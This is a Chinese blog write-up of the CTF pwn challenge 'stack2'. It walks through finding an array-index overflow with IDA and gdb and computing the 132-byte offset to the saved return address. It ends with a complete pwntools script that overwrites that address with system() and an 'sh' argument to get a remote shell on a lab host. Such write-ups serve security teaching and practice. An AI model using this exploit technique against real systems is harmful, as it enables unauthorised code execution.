pwn-stack-wp

stack2

知识点:数组溢出

正文

程序拖入IDA进行反编译,查看逻辑。

既然发现了溢出点,那么就是确定我们的ret地址和数组第一位数据的距离问题。我们使用gdb进行动态调试。

0x0804884D进行下断点。我们根据选项去更改数组中第一位的数据。得到数组起始地址为0xffffcef8

找到起始地址之后,我们去寻找执行ret指令时,栈的地址然后求其差值即可。首先是ret指令在哪里。IDA分析。

当我们选择选项5时,会执行ret指令。在0x080488F2下断点。

 

得到ret指令此时会取栈上0xffffcf7c处内容。那么0xffffcf7c即为我们需要覆盖的地址。0xffffcf7c - 0xffffcef8 = 132

我们去验证一下,将第132、133、134、135位改为6f、70、71、72。进行验证。

根据上图得知,我们已经找到了正确的ret地址。也已经可正常的覆盖掉。接下来就是覆盖ret地址为system函数地址。并且传给函数参数sh

from pwn import *

#sh = process('./task')
sh = remote("192.168.2.29", 23777)
def shell():
    sh.recvuntil("5. exit\n")
    sh.sendline("5")
    sh.interactive()
def write_dword(off,addr):
    write_byte(off,addr & 0xff)
    write_byte(off+1,(addr >> 8) & 0xff)
    write_byte(off+2,(addr >> 16) & 0xff)
    write_byte(off+3,(addr >> 24) & 0xff)
def write_byte(off,addr):
    sh.recvuntil("5. exit\n")
    sh.sendline("3")
    sh.recvuntil("which number to change:\n")
    sh.sendline(str(off))
    sh.recvuntil("new number:\n")
    sh.sendline(str(addr))

#context.log_level='debug'
#gdb.attach(sh)
sh.recvuntil("How many numbers you have:\n")
sh.sendline("1")
sh.recvuntil("Give me your numbers\n")
sh.sendline("5")
sys_addr = 0x08048450
ret_off = 0x84
sh_off = ret_off + 0x8
sh_addr = 0x08048980 + 7
write_dword(ret_off,sys_addr)
write_dword(sh_off,sh_addr)
shell()

flag

 

 

posted @ 2019-08-29 14:08  青山堂  阅读(413)  评论(0编辑  收藏  举报